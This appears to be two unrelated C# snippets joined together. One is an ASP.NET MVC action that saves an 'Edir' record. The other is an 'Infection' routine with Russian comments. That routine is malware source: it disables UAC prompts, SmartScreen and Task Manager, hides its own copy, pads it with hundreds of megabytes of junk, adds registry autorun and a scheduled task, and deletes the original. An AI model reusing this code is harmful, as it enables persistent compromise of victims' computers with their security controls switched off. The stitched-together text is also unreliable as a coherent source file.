public ActionResult Create(Edir edir) { // if (!ModelState.IsValid) // { // var viewModel = new NewEdirViewModel // { // Edir = edir, // EdirTypes = _context.EdirTypes.ToList() // }; // return View("New", viewModel); // } if (edir.Id == 0) { _context.Edirs.Add(edir); } else { var edirInDb = _context.Edirs.Single(c => c.Id == edir.Id); edirInDb.Name = edir.Name; edirInDb.EdirTypeId = edir.EdirTypeId; edirInDb.Subcity = edir.Subcity; edirInDb.Wereda = edir.Wereda; edirInDb.Email = edir.Email; } _context.SaveChanges(); return(RedirectToAction("Index", "Edir")); }
public static void Infection() { if (File.Exists(Help.LocalData + "\\" + Help.HWID)) { if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID)) { //Вырубить показ скрытых файлов если включенно new Thread(() => { Thread.Sleep(new Random(Environment.TickCount).Next(60000, 340000)); try { RegistryKey rkey = Registry.CurrentUser; rkey = rkey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"); rkey.SetValue("Hidden", 0); } catch { } }).Start(); } else { } } else { try { //Создаем файл детект заражения File.Create(Help.LocalData + "\\" + Help.HWID); File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); DirectoryInfo Edir; Edir = Directory.CreateDirectory(Dir); Directory.CreateDirectory(Dir); Edir.Refresh(); Thread.Sleep(new Random(Environment.TickCount).Next(2000, 5000)); // Копируемся File.Copy(Assembly.GetExecutingAssembly().Location, Dir + Help.bin); File.SetAttributes(Dir + Help.bin, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Отключаем UAC уведомления new Thread(() => { RegistryControl.ToogleUacAdmin(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0); }).Start(); // Отключаем SmartScreen new Thread(() => { RegistryControl.ToogleSmartScreen(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer", "SmartScreenEnabled", "Off"); }).Start(); // Отключаем Диспетчер Задач new Thread(() => { RegistryControl.ToogleTaskMandRegedit(@"Software\Microsoft\Windows\CurrentVersion\Policies", 1); }).Start(); //Добавление в реестр new Thread(() => { Registration.Inizialize(true, Help.NameRegRandom, Dir + Help.bin); }).Start(); // Добавляем байты рабочему билду FileStream fs = new FileStream(Dir + Help.bin, FileMode.OpenOrCreate); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); fs.Write(clientExe, 0, clientExe.Length); byte[] junk = new byte[new Random().Next(650 * 1024 * 1000, 750 * 1024 * 1000)]; new Random().NextBytes(junk); fs.Write(junk, 0, junk.Length); fs.Dispose(); // Самоудаление и добавление в планировщик задач с интервалом в 4 минуты string batch = Path.GetTempFileName() + ".cmd"; using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine("@echo off"); sw.WriteLine("timeout 4 > NUL"); // Задержка до выполнения следуюющих команд sw.WriteLine("schtasks.exe " + "/create /f /sc MINUTE /mo 5 /tn " + @"""" + Help.NameRegRandom + @"""" + " /tr " + @"""'" + Help.WorkingDir + Help.bin + @"""'"); // Прыгаем в планировщик sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд sw.WriteLine("START " + "\"" + "\" " + "\"" + Dir + Help.bin + "\""); // Запускаем рабочий билд sw.WriteLine("CD " + Path.GetTempPath()); // Переходим во временную папку юзера sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q"); // Удаляем } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); } catch { } } }